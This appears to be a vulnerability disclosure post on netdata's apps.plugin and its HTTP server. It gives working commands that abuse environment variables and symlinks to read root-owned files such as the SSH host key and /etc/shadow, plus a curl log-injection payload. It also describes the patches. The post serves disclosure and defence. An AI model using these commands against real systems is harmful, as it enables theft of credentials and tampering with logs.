netdata apps.plugin security fixes
On a standard setup, the vulnerability can be exploited by gid netdata to read arbitrary files owned by root. On a weak setup (as seen in the wild by Synacktiv), the vulnerability can be exploited by all users.
netdata?
What is netdata?
netdata is a system for distributed real-time performance and health monitoring. It provides unparalleled insights, in real-time, of everything happening on the system it runs (including applications such as web and database servers), using modern interactive web dashboards.
Why are we looking at netdata?
- netdata has been observed by Synacktiv during pentests and security assessments in the last few months;
- We are testing various alternatives for our own monitoring infrastructure;
- People use it...
History of a LPE (or not)
In December 2016, we identified a security problem with netdata apps.plugin component. At that time we decided it was not interesting from our point of view since we had not yet seen netdata in the wild and the project didn't look mature at that time. The first stable version was released in March 2016.
The apps.plugin security vulnerability is quite straightforward:
- It is a setuid-root executable (or has
CAP_DAC_OVERRIDEcapability); - It was (or is still in unsafe setups) executable by
other; - It blindly trusted at least 2 environments variables which could be used to trick the program into reading arbitrary files;
- The production build included debug statements which could be used to leak sensitive information.
It turned out the vulnerability is really interesting only if apps.plugin can be run by anyone. Most distributions restrict the execution to the group netdata, which means the vulnerability can only be used as a second-stage, after exploiting a remote vulnerability in netdata HTTP server.
File permissions on a Debian Unstable:
$ ls -al /usr/lib/x86_64-linux-gnu/netdata/plugins.d/apps.plugin
-rwxr-xr-- 1 root netdata 88272 /usr/lib/x86_64-linux-gnu/netdata/plugins.d/apps.plugin
$ getcap /usr/lib/x86_64-linux-gnu/netdata/plugins.d/apps.plugin
/usr/lib/x86_64-linux-gnu/netdata/plugins.d/apps.plugin = cap_dac_read_search,cap_sys_ptrace+ep
Even if distributions did the job at fixing the permissions issues, the documentation and several error messages were not updated after the permissions restriction have been applied. That means some people did install apps.plugin with insecure permissions.
Example of misleading documentation in the message SETUID_WARNING printed by netdata-installer.sh:
sudo chmod 4755 \"${NETDATA_PREFIX}/usr/libexec/netdata/plugins.d/apps.plugin\"
Over the time, several commits progressively fixed the references of the unsafe permissions 4755, like with this commit in January 2018.
However, multiple references of 4755 were still present in the code, the documentation and the wiki.
On a correct (as in safe) setup, the vulnerability can only be exploited by gid netdata. It allows the caller to read an arbitrary file (even if owned by root).
Example 1: arbitrary file read using NETDATA_HOST_PREFIX environment variable
$ id
uid=109(netdata) gid=117(netdata) groups=117(netdata)
$ mkdir -p /var/lib/netdata/registry/proc/1
$ ln -s /etc/ssh/ssh_host_rsa_key \
/var/lib/netdata/registry/proc/1/stat
$ ln -s /etc/ssh/ssh_host_rsa_key \
/var/lib/netdata/registry/proc/1/cmdline
$ NETDATA_HOST_PREFIX=/var/lib/netdata/registry \
/usr/lib/x86_64-linux-gnu/netdata/plugins.d/apps.plugin \
debug 2>&1 | grep 'Read file'
Read file '/var/lib/netdata/registry/proc/1/cmdline' contents: -----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAwJtIXtF6J2sY7m2cS3/xToV6fTOQk5fLb49YdN6MNWTmPmJy
[TRUNCATED]
Exemple 2: partial file read using NETDATA_CONFIG_DIR environment variable
$ ln -s /etc/shadow /var/lib/netdata/registry/apps_yo.conf
$ NETDATA_CONFIG_DIR=/var/lib/netdata/registry \
/usr/lib/x86_64-linux-gnu/netdata/plugins.d/apps.plugin \
debug yo 2>&1 | grep 'NET TARGET NAME'
apps.plugin: process groups file: '/var/lib/netdata/registry/apps_yo.conf'
apps.plugin: NEW TARGET NAME 'root' on ID '$6$b1Mh95Jk$[TRUNCATED]/6/j0'
apps.plugin: ADDING TARGET ID '$6$b1Mh95Jk$[TRUNCATED]/6/j0', process name '$6$b1Mh95Jk$[TRUNCATED]/6/j0' (exact), aggregated on target 'root', options: - -
[TRUNCATED]
The vulnerability has been patched by removing debug log level from the production build, applying restriction to the configuration and by refusing to follow symlinks.
There are still some security risks since an attacker can control NETDATA_HOST_PREFIX. However, this feature is useful in some containers setups, where the procfs to monitor is not mapped in /proc.
Bonus: log injection in the HTTP server
The HTTP server responsible for streaming metrics creates log lines using raw input specified by the user. That means an attacker can inject fake information in the file access.log.
$ curl "http://127.0.0.1:19999/'%0aINJECTED_LOG_LINE%0a2018-04-17 16:56:45: 26: 27143 '[localhost]:41370' 'DISCONNECTED"
# tail -f /var/log/netdata/access.log
2018-04-17 16:56:44: 26: 27143 '[localhost]:41370' 'DATA' (sent/all = 142/142 bytes -0%, prep/sent/total = 0.01/0.05/0.06 ms) 400 '/'
INJECTED_LOG_LINE
2018-04-17 16:56:45: 26: 27143 '[localhost]:41370' 'DISCONNECTED'
The vulnerability has been patched by replacing control characters with spaces. That means an attacker should not be able to inject a carriage return.
Conclusion
After exchanging few mails with netdata developers, the bugs have been quickly fixed. The associated pull requests are: #3635 and #3638.
The next steps will probably involve fuzzing the custom HTTP server which is ~5000 lines of complex asynchronous C code :)
IoT and appliances vendors should take extra precaution when embedding netdata as part of a bigger solution. The installation process needs to be reviewed in order to make sure that apps.plugin permissions are 754 (or 750) and not 755.
References
